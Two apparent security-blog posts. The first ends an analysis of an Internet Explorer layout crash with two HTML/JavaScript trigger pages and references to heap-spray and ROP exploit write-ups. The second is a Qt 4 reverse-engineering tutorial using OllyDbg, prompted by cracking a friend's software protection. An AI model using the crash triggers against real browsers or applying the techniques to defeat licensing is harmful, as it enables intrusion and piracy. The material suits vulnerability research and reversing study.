This won't trigger the bug as TR objects don't participate on the layout caching. So the real problem is with the STYLE attributes. This also can be proven. Pick up the original trigger page and remove the STYLE attribute and see it run, and not crash...

<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
document.body.innerHTML += "<a id='tag_3' >TAG_3</a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
</script>
</body>
</html>


Or use this one:

<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object id='po'>TAG_1</object>";
document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
</script>
</body>
</html>


Nice, eh?

Final note, during the debugging session I didn't use heap paging and user mode stack trace because of unpredictable results I'd get that would led to crashes on other places than the one presented in the original d0c_s4vage post. Also, I sometimes use an old machine to do most of the debugging, and it's impossible to get the heap extension commands to work as they are to slow and completly lock down the machine. So, I wanted to show that it is some times possible to do this without many resources.

Regarding the exploit code per se, there really is not much to be said, except: read the Alexander Sotirov paper titled 'Heap Feng Shui in Javascript' for understanding how to deterministically influence the IE heap allocator and carefully read the original d0c_s4vage's paper for a full description of its ROP sequencing.

Hope you enjoyed it.

sábado, 6 de agosto de 2011

QT 4 You

I was asked a couple months ago by a friend of mine to “tweak” a software protection as he wanted to “evaluate” more “thoroughly” the targeted program. As I went in to it, I found the protection scheme very interesting as it involved a couple of cross platforms based engines interacting together to serve as anti-hacking security licensing system. One was Qt, the other being JavaScript. It was the second time that I came against a Qt based software. The first time thought, I just used the basic cracking skills every reverser uses with Windows GDI apps. But this time I needed to go deeper to understand the cross VM interactions, and a bigger understanding of the Qt framework was needed, so, I engaged into searching for more info on the subject. The results were quite poor, except for an article by Daniel Pistelli, who now works at Hex Rays (coincidence that IDA has been reassembled using this framework?).

Besides his article, not much on the subject of reversing Qt code seemed to be around. Since then I was faced with a fair amount of Qt applications, even Portuguese ones, so I decided to post my thoughts on the subject, and build a tutorial for the 4th version of Qt (coincidentally its also the same version of IDA 6.1, hihi):

Note: The Qt platform has an OO approach, so consider before reading this tutorial, to gather some insight about reversing C++ stuff, like RTTI, MS calling convention, virtual functions, etc.

For the purpose of this demonstration I used a demo application who accompanies the Qt SDk called sdi.exe, located in the examples/mainwindows/sdi folder. You can use any program you wish, to follow this explanation, thought.

1. Recognizing the Entrypoint

Usually looks like this and Olly is smart enough to identify it as it is the EP defined in the PE header.

2. How to find Main?

Consider Main function source code. Let’s see what do we need to find it’s corresponding assembly code, and what this code looks like after compilation.

2.1. First step is to search for all inter-modular calls and locate the imported dispatcher function qWinMain defined in QtCore4.dll.

2.2 Second step, select QtCore4.qWinMain and jump into it’s code definition.

2.3. The first call after QtCore4.qWinMain sets up memory. But, we are impatient and we want QMain. QMain function will always be the second call, as highlighted in the figure.

To verify if we’ve selected the correct function call, go up some lines and the following api calls should be present:

- GetCommandLineW

- QString::fromWCharArray

- QString::toLocal8Bit

- QByteArray::detach

2.4. And we’re in QMain

2.5. The startup address is usually pointing to the start of the .CODE section

That is 401000 in this case.

3. Code analysis
3.1.
Instruction 1 – Initialize resources

If we enter the function, we should see the resources being pushed and the qRegisterResourceData function being called:

3.2 Instruction 2 – Instantiate QApplication

Pretty easy to follow right? The QApplication class is calling it’s constructor with the following arguments: Arg1 = argc, Arg2 = argv, Arg3 = compile_version

3.3.
Instruction 3


3.4. Instruction 4
3.5. Instruction 5

This function calls all the subclasses constructors

3.6. Instruction 6
3.7. Instruction 7
4. Intercept Messages in Qt

Messages in Qt are set thru slots definition. Slots are then connected using the connect macro to a QWidget based class. As sampled in the code:

So we have here 3 types of message redirection, the first one “saveAsAct” is defined in the slot set of the MainWindow class. “saveAsAct” will be made part of the MainWindow class dispatcher table.

The second one, “closeAct”, is defined as an overload of QMainWindow superclass, so it will not be part of MainWindow class dispatcher table, but will be dispatched thru MainWindow dispatcher function. But as “closeAct” is not found in MainWindow class dispatcher table it will be forwarded to QMainWindow superclass dispatcher using an Event class. The definition of “closeAct” is:

Finally “exitAct” is applied or connected to qApp. qApp is an instance of QApplication, so it can’t be intercepted in the MainWindow dispatcher function, but in QApplication dispatcher function.

Considering that everything was easy till now, this will be the “hard” part of the process, getting to trace the GDI interaction. Let’s see how we can accomplish this task. Basically there are three approaches that can be used:

4.1. Find and set a conditional breakpoint at QMetaObject::metacall with [esp+4] == object addr

The object is any GDI particular object like a QTextControl, QMainWindow, etc. that you might know it’s memory address.

4.2. Set a conditional breakpoint on Q<class of object>::qt_metacall with [esp+8] == WM_

4.3. Set a breakpoint on QMainWindow::qt_metacall (QMainWindow is defined in QtGui4.dll). This being a special case of the previous one.

On stop set a breakpoint on .code section of main executable, it should stop on the Qt dispatcher.

In the main Qt dispatcher built by the compiler, Olly tells us that there are 6 cases on switch.

The six destinations are set here:

Which correspond to the slots definitions of MainWindow class:

4.4. To target messages attached to events, set a breakpoint on QMainWindow::qt_metacall, on stop set a breakpoint on QMainWindow::event. After break set a new breakpoint in the .code section of main executable, it should stop on the Qt function you’re after.

For example, tracing the MainWindow::Close, after following the steps defined before we reach:


Just to confirm we’re in the right place let’s enter the first call:

Which is maybeSave() function who’s definition is:

See the corresponding text? We’re in the right place.

For the sake of completeness, there’s a caveat you need to be aware regarding the first approach I presented: Setting a breakpoint in QMetaObject::metacall. After entering QMetaObject::metacall and setting a breakpoint on the user section code of the main module, it won’t enter immediately in the function code we’re after; instead the metacall will just try to find the virtual stub function responsible for the dispatching. For resolving this, all you need is let the code enter in the Qt core dispatcher and then set a second section code breakpoint in the main module and finally you’ll be there.

Ufff… Good luck in you reversing.

Hope you enjoyed it!


PS: If you want the printed version of this text you can get it here.